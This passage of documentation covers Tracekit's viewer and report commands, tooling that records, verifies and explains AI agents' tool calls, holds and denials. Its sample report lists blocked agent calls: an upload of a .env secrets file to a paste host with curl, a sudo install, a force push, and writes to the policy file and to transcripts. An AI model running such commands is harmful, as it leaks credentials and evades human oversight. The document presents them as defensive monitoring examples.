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Viewer
tracekit view is Tracekit's one viewer: one command, one page, one server, whatever the runs come from.
Using 1.4.x? Its viewer, as it was then, is on Viewer 1.4.
| Command | Shows |
|---|---|
tracekit view (--dev, --config signer.yaml, --data-dir DIR) |
the v2 signer's runs, each verified (below) |
tracekit view --dev --why DIR |
those runs with the why investigation of their why logs (below) |
tracekit view --why DIR |
why logs alone, each run's events on the tape |
tracekit view --ledger [HOME], tracekit view --bundle FILE
|
the v1 ledger (tracekitd), or a v1 bundle once it verifies; loopback only |
tracekit view --config signer.yaml with view.logs
|
every log of a central deployment (below) |
tracekit report (--dev, --config signer.yaml, --data-dir DIR) |
not a page: a week of the signer's store as plain text or JSON (below) |
tracekit observe and tracekit why serve still work as before and print one line pointing here. A single bundle's
self-contained replay.html stays a file you open without a server.
The header holds the pages, the command box, and on a run's page that run's views:
| Page | What it shows |
|---|---|
| DESK | every run at once: the stats strip, the tape across runs, alerts, tool mix, one lane per agent, reasoning, files and the detail panel (the panels below) |
| RUNS | every run with its counts (calls, blocked, held, flagged, gaps) and verdict, newest first; click one for its page. With why logs, their runs follow; on a central deployment, a link to its searchable runs page |
| LIVE | the page of the newest run still open |
| APPROVALS | each held call nobody has answered yet, in every run (approving one lets the agent's retry of the same call run, once): what it binds (the signer's copy of the arguments, when the viewer has it), its rule in words and the tracekit approvals approve / reject commands to copy; then each held call answered or ended, once, with what came of it (approved, rejected, expired, abandoned, ...: PERMISSIONS' outcome, which tracekit report counts too) and the call (its tool and the visible part of its arguments, or "arguments not kept"). The count on the button (TO ANSWER) is the number not answered yet. The page answers nothing: the approvals page (with OIDC login, a passkey) or the signer's command does |
| PERMISSIONS | every decision that was not a plain allow, and what came of it: blocked, ran flagged, approved, rejected, expired or not answered, who answered and when |
| HORIZON | where the agents went, around a black hole: the project, this machine and the outside world (below) |
| INFLUENCE | with why logs: what content reached which tools across every run (below) |



A run's page shows the run's agents (the run that started it and every run started from there, each with its calls,
held, blocked and flagged counts) and tool mix on the left, one of its views in the middle and the inspector (DETAIL,
WHY, NODE) on the right, under a header with the run's verdict, counts and the EXPORT, TRUST and VERIFY commands. Its
views, keys 1 to 7: OVERVIEW, CALLS (the run's tape), TIMELINE (by call on one time axis, or one lane per agent), GRAPH,
WHY, AGENTS and EVIDENCE (the run's signed records in order, the viewer's checks and their result, and
the export and verify commands; below). OVERVIEW, GRAPH, WHY and
AGENTS need the run's why log, which the viewer builds for each verified run when it has no why logs of its own
(below).

NEEDS YOU, under the stats strip, lists across every run what needs a person, first the held calls nobody has
answered yet (oldest first: the call, its rule and why, then "approve it to let the agent's retry run", since a
coding agent's hook blocks the call at once and the agent goes on), then runs an incident holds, runs that failed
verification or weren't checked, and a viewer that stopped checking; each with the command that acts on it and OPEN. A run whose held calls left the live view (it keeps
the newest 50,000 records) is one line with its count, from its review: OPEN it, and its PERMISSIONS lists each call
with the command that answers it. With nothing to do it reads ALL CLEAR · N agents working; while the viewer is still
reading the store's runs (on start, one at a time) it says how many are left instead, since it can't know yet. The
stats strip's SPAN on DESK runs from the first record of the earliest run to the last of the latest; on a run's
page, over that run's records. A new hold or high alert also shows for a few seconds in the corner. THEME (or T) picks auto (this
computer's setting), light or dark, kept in this browser.

The address bar follows what is open (#run=…&view=graph&seq=42, #page=permissions), so a link opens the same run,
view and record, and Back and Forward step through what you opened. Links from before keep working: #run=… opens the
run's page, and the old view names (view=timeline is CALLS with the why log's events) map to the new places.
Open it with one command, then open the URL it prints (it carries a one-time token):
tracekit view --dev # the dev signer's runs
tracekit view --why runs --allow-program tracekit.why.demo:SYSTEM # after `tracekit why demo --out runs`The screenshots on this page come from the runs the viewer's browser checks record (scripts/viewer_qa/gen.py base: a support
agent, a Claude Code-style run and others), an agent whose push waits for a person, the tracekit why demo runs, and the
sample v1 bundle.

Panel 1 lists each run with its verdict: VERIFIED means tracekit verify's checks passed on the run's bundle against
the pinned log key (here the store's own key: dev assurance); FAILED means they did not, and the run shows only its
failure report (a run that verified at an earlier checkpoint and fails at a later one has the records it showed, and
its earlier report and findings, taken back); ERROR means the viewer could not check the run (its NOT CHECKED row
says why; it tries again five minutes later or when the run grows); PENDING means no checkpoint covers the run's
records yet. A viewer that stops checking runs altogether says STOPPED, not LIVE, with the reason, until it
restarts, and every mark of a run that verified (the run chip, its verdict, EVIDENCE's stamp, HORIZON's chain) reads
VERIFIED · CHECKS STOPPED, no longer green. On start the viewer checks the newest runs first, so the run being
written shows once its own check is done (about 20 s for a 50,000-record run), and the rest follow at about half a
core, each run's first check followed by a pause as long as it took (about 12 minutes for a 430,000-record store; until
then NEEDS YOU says how many runs it is still checking). A run still being written is shown up to the newest checkpoint and grows with
each one: only the records it added are read and checked one by one (the checks of the run as a whole run again over
all of them; the viewer keeps the bytes of the runs it checked last for that, 64 MiB in all, and reads a run past
them whole again), and checking what runs added takes at most 1/41 of a core, each run in turn. The viewer reads a file
store once, then only what is appended to it, and hashes the bytes it read again in pieces of 1 MiB: at each change
of the store the piece its last read began in (the newest records), and every piece every minute and whenever the file
is written to without growing. An edit of records it showed is caught at the store's next change when it is in that
last piece, at once when the file is written to without growing (its time not set back), and otherwise within the
minute; each run with a record in a piece that changed (every run for a key record's, or a file replaced or cut back)
then reads PENDING (re-checking) until it is checked again, in the order the runs started waiting, each re-check
followed by a pause as long as it took, as on start (about half a core), and the edited run turns FAILED. The store it then reads anew is compared, piece by piece, with what it read before, so an edit made
meanwhile anywhere in it is caught as well. A check verifies exactly the bytes the viewer read and hashed: it keeps 8
bytes of a keyed hash of each record it read (4 MB for 500,000 records), and a record that reads otherwise when a check
reads it again (the honest bytes put back only while the check reads them) is an edit too, caught at that check: the
store is read anew at once and the run checked again. A checkpoint note that changes is checked as each run's check
reads it: one that no longer checks (an edit of its signature) or names another root has every run checked again; a
witness's cosignature merged into it checks no run again. So an edit that stays in the store is caught within the minute
however it is timed; bytes that are the honest ones each time the viewer reads them are not, by this viewer or any
reader. A run that fails when /api/rows reads its records from the store reads PENDING (re-checking) at once,
until the viewer checks it again. A run of a Postgres store, and a run that failed or could not be checked, is checked again five
minutes after its last check, one run at a time. Past 50,000 rows (TRACEKIT_OBSERVE_MAX_RECORDS) the oldest leave the live
view and the tape says how many; each run's latest verdict stays in the run list, for up to 10,000 runs (a failed
run's goes last). Once rows have left it, a run older than every record the live view holds shows only its verdict
there; its records load when you open it.
Under each run: calls, blocked (red: the policy
denied them), held for a person, and signed gaps. Panel 2, the tape, has one row per signed record: BLOCK a denied
call (red), TOOL an allowed one (⚑ flagged by a rule), HOLD a call held for a person, with its approvals folded
under it and its final state (APPROVED · RAN, REJECTED, EXPIRED, TO ANSWER) in STATUS, SESS the run's start and
end. A row marked ANALYSIS is the viewer's own work, not a record: VERIFY (the verifier's report) and the FINDINGs
of its analysis have no seq and no hash, and replay skips them; a row marked WHY comes from a why log. A findings
run's signed findings (tracekit analyze --v2) are FINDING rows of that run: each says who wrote it (the identity the
signer measured for the findings run) and the reviewer the analyzer names (its own claim); tracekit verify says
whether that author is independent of the analysed run or self-asserted. The tape renders the newest 600 rows; SHOW
OLDER at its end renders more. Times are your browser's local time; the clock names the zone. The header's CHAIN ✓ N SIGNED RECORDS and RECORDS count the records shown from runs that verified; a run being checked again after the
store's bytes changed is out of both until it is checked, and while one is the badge reads CHAIN … N OF M RUNS RE-CHECKING. Click a run to scope the whole page to
it; All runs goes back. A red bar under the header says when the page lost its viewer: it reconnects on its own and
reloads the records. When the viewer refuses the page's session after it had worked (the viewer restarted, with a new
token, or the session ended), the bar and NEEDS YOU say so, and the page stops its live parts (the stream, the checks,
HORIZON's motion, the toasts): open the link tracekit view printed, or sign in again. A HORIZON stage the browser can't
draw says so in its place.

With a run selected and no row, panel 8 is the run review. It opens with one sentence ("Verified. 8 calls: 5 ran, 1
blocked, 3 held (1 rejected, 1 approved, 1 expired). 2 findings, 1 high."), then Integrity, Assurance, how many calls
were allowed, flagged, denied and held, who approved, gaps in words (the gap's kind is the line's tooltip) and
coverage. Click a line to jump to its first record. Every verdict here is operator-side: for evidence, verify the
bundle yourself with keys you pinned; EXPORT, TRUST and VERIFY give the exact tracekit export --v2,
tracekit signer trust -o trust.json (export writes no trust file) and tracekit verify commands, each with a COPY
button and naming the signer the viewer reads as it was started (--dev, --config or --data-dir), so they run as
copied. A run that fails leads with its failing check.

Click a tape row for its record: the decision (DENY → BLOCKED), the rules that matched with their reasons, the run's
verdict, the arguments the dev signer kept (when it kept them), the arguments commitment (v2 records keep arguments
only as a salted commitment) and, on the right, the record's seq, hash and previous hash in full. COPY copies a
hash, a run id or the tracekit signer reveal command. The findings that cite a record are listed on it, and a
finding's CITES opens the records it cites. The bottom bar replays the selected run: SPACE (or PLAY and PAUSE in
the command box) plays, ← → step, D H G jump to the next deny, hold or gap (with none ahead, the box says
so), L returns to live.

Type / (or click the box at the top), then a command and Enter: AGT name, TOOL Bash, FILE .env, FLAG
(flagged, blocked or failed only), FIND text, SEQ n (open record n), CLR (clear every filter), HELP (this
list). Each filter shows as a chip in the header; click its ✕ to drop it. SEQ n on a record with no row of its
own (a call's decision or result is on the call's row) opens the row before it and says so in the box.

With why logs, select a tool call (or click a WHY alert, panel 3) and open WHY in panel 8. The verdict sentence
says what replays found; How it got here is the recorded path from each untrusted input (red border) through the
agents' model calls and messages to the call. Click any step to open it. While WHY or NODE is open, panel 8 widens
so its tables and values wrap instead of being cut; DETAIL gives the room back.

Candidate causes lists every input and channel upstream of the call. RUN TEST replays the run without one of
them (recorded tool results, new tool calls stubbed: nothing real is re-sent) and compares how often the call
happens: PRIMARY CAUSE (red) means it stops happening without it, NO EFFECT SEEN means no change larger than the
test can detect, RULED OUT means the effect's 95% interval stays within ±0.2 (it makes no real difference),
INCONCLUSIVE means too few replays reproduced the call, and NOT TESTED means no replay has measured it yet.
FIND THE CAUSE runs a group test and narrows it down. Both run only for a program passed with
--allow-program; otherwise the panel prints the command. The effect is the drop in how often the call happens,
with its 95% interval.
With why logs a run's page also has Causeway's views of a run, and the picker next to the view's title chooses the why run. A why run has that page even with no signed run selected: a why run on RUNS, a lineage step, SHOW WHAT IT REACHED, WHY DID THIS HAPPEN? and a why alert each open it.

RUNS lists every run: alerts (high red, review amber), tests with how many were causal, and intact when the
log's hash chain checks. Click a run for its overview.

OVERVIEW: LOG INTACT (the why log's hash chain checks) and REPLAYABLE (the run names a program a replay can
import), what the agents did (a flagged call is red: click one for why it happened), what needs attention, each with
its confirmed causes and INVESTIGATE →, the run's numbers, and how to read the evidence: reached is recorded,
not proof; a confirmed cause changed how often the action happens in replays; ruled out changed nothing detectable.

TIMELINE (the tape's WHY LOG EVENTS button: on a run's page, and on every page when no v2 runs are loaded): every event, filtered by agent, type (inputs, model calls, tool calls, messages), flagged only and text. Click a row for its NODE.

The run's tool calls, high alerts first; pick one. Argument value / where the value came from says, for each
value, only from untrusted content, from a trusted source or written by the model, and which source. Then the
verdict, how it got here and the candidate causes, with each test's effect bar (dot = effect, whisker = its 95%
interval), with → without, and text reuse (how much of the content's wording the next model output reused).
DETAILS opens the call's NODE. The detail panel's WHY tab shows the same for the call selected on the tape.
COPY THIS EXPLANATION copies the verdict, how it got here with each step's signed record, and the run; each
candidate cause links to its node and its record, and a run that names a program gets each cause's
tracekit why test command with COPY.
TIMELINE (key 3) shows the run BY CALL, one row per call on one time axis (green ran, red blocked, refused or
failed, cyan flagged, hatched amber while it waited for a person, to the right edge while it still waits; click a row
for the call), or BY AGENT, one lane per agent. EVIDENCE (key 7) walks the run's signed records in order,
each marked as covered when the viewer's check verified the run, lists the checks of its verifier report, stamps the
result (VERIFIED, FAILED with the first failing check, PENDING or NOT CHECKED) and gives the export and verify
commands: that check is the viewer's, operator-side, and the bundle checked with tracekit verify from the signed
release is the evidence. A call's inspector shows, after WHY THIS DECISION, SAID VS DID: what the model said
before and after the call beside the signed fact, marked BACKED (a gateway, executor or the signer wrote the result),
AGENT'S WORD (only the agent's own report) or CONTRADICTED (the record shows otherwise, or a text-check finding cites
it); and WHOSE WORDS: where the instruction behind a held or blocked call came from (TYPED, the person's request;
RELAYED, another agent's message; TOOL/WEB, a tool result or page), from the signed argument provenance and the run's
observed inputs, or that the records don't say.



HORIZON (Event Horizon) draws every run's calls around a black hole, on three rings: the project, this machine and the outside world. A shield marks a restricted place, a jet a call out to a host, and a click on a place lists who went there and how we know (signed, observed by a sensor, or unverified). More: Event Horizon.
Egress observer records appear as network effects, including totals with no call link. Open their records for the byte counts, connection count and activity interval. A total does not prove which call caused the traffic.

GRAPH (a run's view, key 4) draws the run's data flow as a left-to-right flowchart, as Causeway did: inputs
(cyan), model calls (magenta), tool calls (green), messages (amber). Each arrow is graded by its proof: signed (amber,
both ends signed records), recorded flow (faint, a why log that isn't signed), observed (cyan: a network connection a
kernel sensor saw, drawn as a small node after its call; click it for its record), blocked (red dotted, into a call its
signed decision stopped), inferred (dashed). A red border is untrusted content, a thick red arrow a confirmed cause
with its effect, an amber dot a sensitive tool call; each arrow's tooltip names its grade. FIT (the default) fits the flowchart to the panel's width and height, never above actual size;
ACTUAL SIZE scrolls; CLEAR HIGHLIGHT undoes a click. The legend names only the marks the graph has. A run of
more than 600 events is too large to draw: GRAPH says so, and TIMELINE, WHY DID IT HAPPEN? and a call's WHY tab show
it. The picker names each run by its agents and short id. Click a node: the graph
keeps what it came from and led to and fades the rest, and panel 8's NODE tab shows it in full: for a model call
its model, time, tokens, what it saw (each a link) and what it produced; for a tool call its arguments, result,
policy decision and a WHY DID THIS HAPPEN? button; for an input or a message its content and trust. Came from
and Led to link the neighbours; Record gives its time, hash, previous hash and the signed Tracekit record it
cites. Click the node again, or CLEAR HIGHLIGHT, to see the whole graph. The checkboxes add inferred links and ruled-out
tests.
Egress totals get a dashed cyan link only when the observer named their run by its token and their full activity interval fits one completed call in that run, with no other eligible call overlapping that interval. Denied calls and holds without consumed approval are excluded. The link and legend say time/run match: not proof of causation, and the tape's Happened column reads TIME MATCH. Unmatched totals remain on the tape (RUN TOTAL) and in HORIZON. Kernel effects keep their existing analysis and links.

tracekit view on a signer store with no why logs (no --why, no why/ in its data dir) still has GRAPH: each run that verifies is imported read-only
(why import --store's import) into the viewer's own temp dir, imported again as it grows, and removed once its rows
leave the live view (past TRACEKIT_OBSERVE_MAX_RECORDS) or it fails. Its tool calls read
left to right in run order; each node carries its signed decision: DENIED (red), HELD or FLAGGED (amber),
APPROVED, or ALLOWED (muted), with the first rule id. Click a node: NODE shows the decision, every rule with its
reason, who approved, and the record it cites. A run's arguments are only a salted commitment, so WHY can list the
path but not replay it. Run order is drawn dashed and muted: it is not a recorded link. A run whose calls are mostly
in run order (few or no links between them) wraps them into lines as wide as the panel, read left to right and down,
at full size with FIT too (scroll ↓ when it is taller). With ACTUAL SIZE another flowchart wider than its panel
scrolls sideways (scroll → in the panel's title), and a clicked node is scrolled into view. A held call's node says how its approval ended
(APPROVED, REJECTED, EXPIRED). The why views follow the run whose page is open; a run that failed
verification has no graph, and GRAPH says why.
With why logs (--why DIR, or a why/ folder in the data dir) the viewer imports no signed run, so a run without a
why log has no graph. GRAPH says so and names what shows it: tracekit view without --why, or, when the data dir
has a why/ folder, tracekit why import --store DIR --run ID --out NEWDIR, then tracekit view --why NEWDIR
with the same --dev, --config or --data-dir.

Per agent: role, who spawned it, model and tool calls, messages, model time and tokens. Channels used says whether a receiver's model call had each message in its context, and what a replay without the channel changed. The influence matrix fills in as tests run; the critical path is the longest chain of the run.

Across every why run, INFLUENCE answers one question: did something your agents read come before a blocked or held call? It says "came before": the content was in front of the agent when it decided on the call. Only a replay that confirmed it says "caused".
- The answer, first. In words, the untrusted content that came before the most blocked or held calls (for example "Sub-agents' messages (untrusted) came before 48 blocked Bash calls in 3 runs"), the three worst. A replay-confirmed cause comes first, with its effect. Click a line for its row below. When nothing untrusted came before a blocked or held call, it says exactly that.
- The flow. Each kind of content on the left (its trust, untrusted framed red, and its sources) and the tools called after it on the right. Only the lines that matter are drawn, coloured as the table's chips: red where calls were blocked, amber where held, blue where flagged, bold red with its effect for a confirmed cause, dashed where a replay ruled the link out. A line is thicker the more runs it came before (log scale). The plain lines (calls that ran with no flag) are hidden; a note says how many. Point at content or a tool to see all its lines and dim the rest. Click a line or content to open its row and mark the tool's chip; click a tool to mark it in every row; click empty space to clear. The tools with a marked line come first, then four quiet ones; the rest are one +N more. Panels narrower than 600 px leave the flow out: the answer and the cards say the same.
- The table, the detail. One row per kind of content and its trust, with how many sources, in how many runs, in front of the agent for how many decisions, and the tools it led to. Blocked, held and confirmed first, then six more (flagged first, then the most runs; +N more shows the rest). Click a row for its sources one by one (the 200 that matter most: a confirmed cause, then those before stopped calls, then the most cited). Each is named by where it was read: its run, record and time, with OPEN for that record.

tracekit view --bundle FILE verifies a v1 bundle first and shows it only if it verifies; --ledger shows the live
v1 ledger. A tampered bundle is refused before anything is served:
$ tracekit view --bundle docs/sample/demo-run-tampered.tkb
tracekit view: bundle docs/sample/demo-run-tampered.tkb FAILED verification (exit 1); refusing to show it. Run `tracekit verify docs/sample/demo-run-tampered.tkb` for the details.

tracekit view [--dev | --config signer.yaml | --data-dir DIR] reads one signer's store, read-only, and verifies each
run with the code tracekit verify runs. The page is the observer's terminal, for runs:
-
Runs (on DESK, and the RUNS page): each run with its agent's registered name, the verifier's verdict (
VERIFIED,FAILED, orPENDINGuntil a checkpoint covers the run's last record; every verdict is operator-side, see below), start time, duration, and its calls, blocked, held and gaps. Clicking a run scopes the tape, timeline, tool mix and header to it; All runs restores the full view. A run that fails shows only its verifier report. -
Tape filters: All, Decisions, Approvals, Gaps & alerts. A held call's approvals are rows (
HOLD,APPROVE,REJECT) folded under the call's row, in words: who asked, which rules, who answered (attested, or vouched for by a bridge), the reason, self-approval (an approval only) and break-glass. The signer's own records (signer.epoch,refusal.summary, key records) are thesigner's rows, not an agent's. -
Detail: a call's decision, its rules with their reasons, its arguments commitment and approval binding, and the
verdict of its run. v2 records keep a call's arguments only as a salted commitment, so the viewer shows the rules'
reasons instead (from the policy whose hash the decision records: a shipped pack or the config's
policy; other policies show rule ids only);tracekit signer reveal --record <seq>gives an auditor the salt. With the dev signer (tracekit view --dev, 1.2.2), each call also shows what it ran: its redacted arguments from the dev signer's content vault, read once per run and refresh (acontent.accessedrecord each). -
Asked and said (with the dev signer's content): a person's prompt is a
PROMPTrow, and what the model said aTHINKorSAYSrow and an entry of the Reasoning panel, labelled by its form (full, summary, withheld: sealed or absent). A call's detail shows what was said before it in the message that asked for it, marked "signed before this call" only when its record is older than the decision. It is the model's account: self-reported, not proof. Without content, a line shows as said, its text not kept here (the record holds only its commitment). -
Run review (detail, with a run selected and no row): Integrity and Assurance, allowed / flagged / denied / held
and who approved, gaps by kind, coverage. Each line opens its first record. Once a dev run is final, its
findings (
tracekit analyze --v2) areFINDINGalerts with links to the records they cite, and the review's FINDINGS, MONITORABILITY and NOT CHECKABLE lines, beside the integrity line, never in it. -
Replay (with a run selected):
SPACEplays or pauses,←→step one record,DHGjump to the next deny, hold or gap,LorESCreturns to live. The header and tape show the run as of the playhead; the timeline marks it.
The timeline is scaled to the calls shown, not the clock. The page and server are the observer's, with its checklist (security-checklist.md).
Every request needs the token: $TRACEKIT_VIEW_TOKEN, else a random one that tracekit view prints in its URL (with
$TRACEKIT_VIEW_TOKEN set the printed URL carries none: add ?token=… yourself). Open /?token=… once: the page
exchanges it for an HttpOnly session cookie and reloads without it; the cookie holds nothing of the token and lasts
8 hours, and only while this viewer runs (open the URL again after that). A script sends Authorization: Bearer <token>
instead; ?token= on an /api/ path is refused (401), so the token never sits in an API URL. These requests are
GETs; with --why the replays and ingest are POSTs (below):
| Path | Answers |
|---|---|
/api/snapshot |
{next, dropped, max, records, source?}: the tape rows the page renders (each run's verifier report, then its records once it verifies), next the index to stream from, dropped how many rows left the live view and max how many it holds; source is bundle when the viewer shows a v1 bundle |
/api/verify |
{records, ok, problems, head, stopped}: how many records are shown from runs that verified, each run that failed or could not be checked with why (the header's chain badge), and stopped, why the viewer stopped checking runs if it did (the page then says STOPPED, not LIVE) |
/api/stream?from=N |
text/event-stream: one data: line per record from index N on, as they are recorded |
/api/rows?tenant=T&run=R |
{rows}: one run's rows from its bundle as verified (exported from the store, verified, then translated), for a run whose records left the live view (the page asks for it when you select such a run); checked again only once the run's own records grow, refused (404) once the viewer's own re-check fails the run, and answered 503 with Retry-After while two other runs are being checked (only a check reads the store; a run the viewer hasn't verified yet is 404); an OIDC session reads its tenant's runs only |
/api/why/workspace, /api/why/runs/<id>
|
the why logs, with --why (below) |
The run pages and their API (/runs, /api/runs, /api/run, /api/bundle) are the central viewer's, served only
with view.logs (below).
"What did our coding agents do this week?" The viewer answers one run at a time. tracekit report reads the same store
the same way and prints one page you can read in two minutes, in a terminal or pasted into an email:
tracekit report # the dev signer's store, the last 7 days
tracekit report --since 24h # 7d, 24h, 30m, or an ISO date or time (UTC unless it says)
tracekit report --since 2026-10-19 --until 2026-10-26 # --until is not included
tracekit report --config signer.yaml --tenant acme # a configured signer's store, one tenant
tracekit report --json > week.json # the same report as one JSON object, for scripts
tracekit report --share # its counts alone, to post as a field reportIt takes the viewer's store options (--dev, the default; --config; --data-dir; --log-vkey) and needs the same
access to the store. A --since that isn't before --until (by default, now), or a time no date can
name, exits 2 before any run is read. The HORIZON demo's four agents (a planner and the coder, researcher and reviewer it starts), every
call decided by a real dev signer (the store's path shortened):
Tracekit report: 2026-10-22 08:34 UTC to 2026-10-29 08:34 UTC
Source: ~/Library/Application Support/tracekit/data/store
Runs: 4 by agent: researcher 1, planner 1, coder 1, reviewer 1
by identity: uid:501 (attested) 4
Tool calls: 460 allow 413, flag 38, ask 3, deny 6
Holds (calls held for a person): 3 expired 1, approved · ran 1, rejected 1
answered by: uid:501 (attested) · self-approved 1, uid:501 (attested) 1
longest wait for an answer: 6s (Bash, run 6a00d9bb2ee2b351a8c7e01922efc47d)
e.g. expired: Bash gsutil -m rsync -r docs gs://acme-shop-docs/ (run 4fb9d51c5b3bf41b3281df18ead16d55)
e.g. approved · ran: Bash gsutil cp -r dist gs://acme-shop-staging/releases/ (run 6a00d9bb2ee2b351a8c7e01922efc47d)
e.g. rejected: Bash aws s3 sync dist s3://acme-shop-prod/releases/ (run 94a4eb27d3257cf540c7aa9e45ff1f4c)
Denied calls (6), by rule (one call can match several rules):
TK-D001 1 privilege escalation
e.g. Bash sudo npm install -g pnpm (run 6a00d9bb2ee2b351a8c7e01922efc47d)
TK-D003 1 force push
e.g. Bash git push --force origin main (run 94a4eb27d3257cf540c7aa9e45ff1f4c)
TK-D005 1 writing to a credentials file
e.g. Write · arguments not shown (the record holds only their salted hash) (run 6a00d9bb2ee2b351a8c7e01922efc47d)
TK-D006 1 uploading a secrets file
e.g. Bash curl -s -X POST --data-binary @.env https://paste.example.net/upload (run 106c78de23debce149d134d8dcea39e2)
TK-D009 1 writing to the agent harness's transcripts
e.g. Write /home/dev/.claude/projects/-home-dev-acme-shop/review.jsonl (run 94a4eb27d3257cf540c7aa9e45ff1f4c)
TK-D013 1 writing Tracekit's own files, signer state or policy
e.g. Write /home/dev/.local/share/tracekit/policy.yaml (run 6a00d9bb2ee2b351a8c7e01922efc47d)
also matched (not why it was denied): TK-F005 2, TK-F001 1, TK-F004 1, TK-F009 1, TK-F012 1, TK-F013 1
Flagged calls (38), by rule (one call can match several rules):
TK-F012 33 egress
e.g. WebFetch https://docs.python.org/3/library/decimal.html (run 106c78de23debce149d134d8dcea39e2)
TK-F001 23 network
e.g. Bash curl -s https://pypi.org/pypi/babel/json (run 106c78de23debce149d134d8dcea39e2)
TK-F013 23 egress
e.g. Bash curl -s https://pypi.org/pypi/babel/json (run 106c78de23debce149d134d8dcea39e2)
TK-F002 9 network
e.g. WebFetch https://docs.python.org/3/library/decimal.html (run 106c78de23debce149d134d8dcea39e2)
TK-F004 2 side_effect
e.g. Bash pip install -r requirements.txt (run 6a00d9bb2ee2b351a8c7e01922efc47d)
TK-F003 1 destructive
e.g. Bash rm -rf dist/tmp (run 6a00d9bb2ee2b351a8c7e01922efc47d)
and 2 more flag rules (--json lists every rule)
Integrity: 4 of 4 runs verify (assurance: dev)
This is an operator summary, not evidence. To hand evidence to someone, export the run (a full run id from above) and a trust file that pins the signer's log key:
tracekit export --v2 --run <run id> -o run.tkb
tracekit signer trust -o trust.json
They check the key in trust.json against their own copy of it, then: tracekit verify run.tkb --trust trust.json
A run is in the report when any of its records falls in the window, and its counts are of its records in the window.
Before it places or counts any run, it checks every record of the store against the newest checkpoint, in every
tenant (with --tenant too) and in the signer's own runs: each record's hash must be its event's, and the records'
hashes must make the checkpoint's root. The store files a record under the tenant, run id and time the record holds, so
an edit of any of them could move a run out of the report, into the signer's run or another tenant; instead the
edited record's hash no longer matches, and the run now holding it is listed FAILED whatever its tenant and times,
with the record's seq (a signer's run, or another tenant's under --tenant, is listed only then, and never counted).
When the hashes don't make the root (a hash was rewritten too), the store and every run are FAILED. Either way the
Integrity line starts the store FAILED. A run no checkpoint covers yet is PENDING; a run is placed in time by its
first and last records the checkpoint covers. Every count comes from records that verified: each run is exported and
checked with tracekit verify's code against the store's own log key (or --log-vkey), as the viewer checks it, up to
the newest checkpoint. A run that fails is listed with its first failing check and not counted, nor its agent and
identity; an open run is verified to its latest checkpoint. Records newer than the checkpoint are not counted, and the
last Integrity line says how many the whole store holds. The command exits 1 when the store or a run fails, or a run
can't be checked, as tracekit verify does.
-
Holds: each call held for a person and what became of it, as the viewer's PERMISSIONS says it (approved,
approved · ran, rejected, refused,refused: arguments changed, revoked, expired, abandoned, or waiting: not answered once the run ended; a call the signer refused because a person rejected or revoked its approval reads rejected or revoked; a call blocked at once whose retry, sent again by the agent, ran under its approval is one hold,approved · ran, and a line says how many such retries it counted with their held calls); one example call of each outcome; who answered the holds in the window, markedself-approvedwhen they approved their own run's call andbreak-glasswhen they broke the glass; and the longest a held call waited for its answer. -
Denied and flagged calls, by rule: each rule that is why, a rule of the deny (or flag) section, with its id, its
count and its description from the policy the signer ran (the signer keeps every policy it ran in its data dir's
policies/, named by its hash). One call can match several rules, so a section's rule counts can add up to more than its calls. The other rules that matched are listed apart: a rule of another section asalso matched (not why it was denied), and an engine check (such asTK-SHELL-PARSE, whose decision is the policy'son_parse_error) or any rule of a policy the report can't read asnot placed, with aNote:saying how many calls cite such a policy. Every deny rule is listed with up to two example calls; flags, which are many, the six most frequent with one example each.--jsonhas every rule, itswhytrue, false (also matched) or null (not placed). -
Example calls are named as the viewer names them: the tool and the field it is known by (a command, a path, a
URL), with the whole id of their run. The arguments come from the dev signer's
content vault, only with
--devwhile the dev signer runs, and only when they open the record's commitment; each read is a signedcontent.accessedrecord namingtracekit report. A call readsarguments not shown (the record holds only their salted hash)when there is nothing to read (another store, no dev signer running, content older than its 7 days) or when redaction changed its arguments (a secret); when the dev signer running refuses the read or speaks another protocol, aNote:says so. -
Export: the last lines are the commands that export a run (
tracekit export --v2, with the report's--configor--data-dirand--tenant) and write a trust file that pins the signer's log key (tracekit signer trust), then the one that verifies the run against it. Every run id in the report is whole, as--runneeds it. The trust file is the operator's word for the key: whoever verifies checks the key in it against their own copy. -
--shareprints the report's counts alone, to post as a field report: the window's length in days, the version, whether the store and how many runs verify, the runs that verify by agent, the calls by decision, the holds by outcome (and how many retries it counted with their held calls), the number of gaps, and each denied or flagged rule with its count. An agent name or rule id that isn't Tracekit's own is counted asotherorcustom rule(field reports). No source, tenant, run id, identity, time, call or rule description; it reads no content, so it adds nocontent.accessedrecord.
It reads the store without the signer's lock, as the viewer does, and never starts, stops or replaces a signer. The
report is the operator's view of the operator's own store, so its verdicts are operator-side (dev assurance on a
laptop): to hand evidence to an auditor, export the runs that matter and have them verified with keys they pinned
(auditor guide). Its limits are in limits.
The viewer is also the UI of tracekit why: with why logs it investigates them on the same page, so one run
is both signed evidence and a causal log.
tracekit view --dev --why runs --allow-program myapp.agents:SYSTEM # the dev signer's runs with their why logs
tracekit view --why runs --allow-program myapp.agents:SYSTEM # the same page on why logs alone, no signer store--why DIR names the why logs (default: why/ in the signer's data dir, where the signer-backed why runtime writes
them, when it exists). Without --dev, --config or --data-dir it shows the why logs alone. A tool call's why event cites the signed record it produced (tracekit: {run_id, run_seq});
that citation joins the two.
-
Detail · where the arguments came from: from the signed
provenanceof the call's decision (labelledsigned · observed): each argument whose value only untrusted content brought into the run, its kind and the record that brought it (click to select it), never the value;unavailable (signer restarted)ortruncatedwhen the signer's index could not say. With a why log of the run, also the why analysis of each value: the task, a trusted input or result, an untrusted input or result, or written by the model. - Detail · WHY (the detail's second view, for the selected call): the verdict sentence, how it got here (the observed path through agents, model calls and messages, from each of the 20 nearest untrusted inputs), candidate causes with their status (primary cause, contributing, confirmed, joint, inconclusive, no effect seen, ruled out, not tested), effect, 95% interval and with → without rates, and FIND THE CAUSE / RUN TEST.
-
Views (a run's page, keys
1to7; the tape's WHY LOG EVENTS; the INFLUENCE page): OVERVIEW, WHY and the why log's TIMELINE (as below), GRAPH, the run's data flow (observed edges; tested causes in red; inferred links and ruled-out tests hidden until ticked; click a node for what it came from and led to), AGENTS (the channels used, the influence matrix, the critical path), INFLUENCE (across runs: whether untrusted content came before blocked or held calls, each kind of content and the tools called after it, with tested effects). DESK shows every panel at once. -
Alerts: the why alerts (a sensitive call using a value only untrusted content supplied, a call downstream of
untrusted input, evidence alerts) join the alert panel labelled
WHY; signed records' alerts are labelledSIGNED.
FIND THE CAUSE and RUN TEST replay the run, so they run only for the programs passed with --allow-program (the run
names its program; replay imports it). Otherwise the panel shows the tracekit why command to run instead. New runs
and new alerts arrive over the page's event stream as they are recorded.
The why API is served by the viewer, on its session and checklist: GET /api/why/workspace, GET /api/why/runs/<id>,
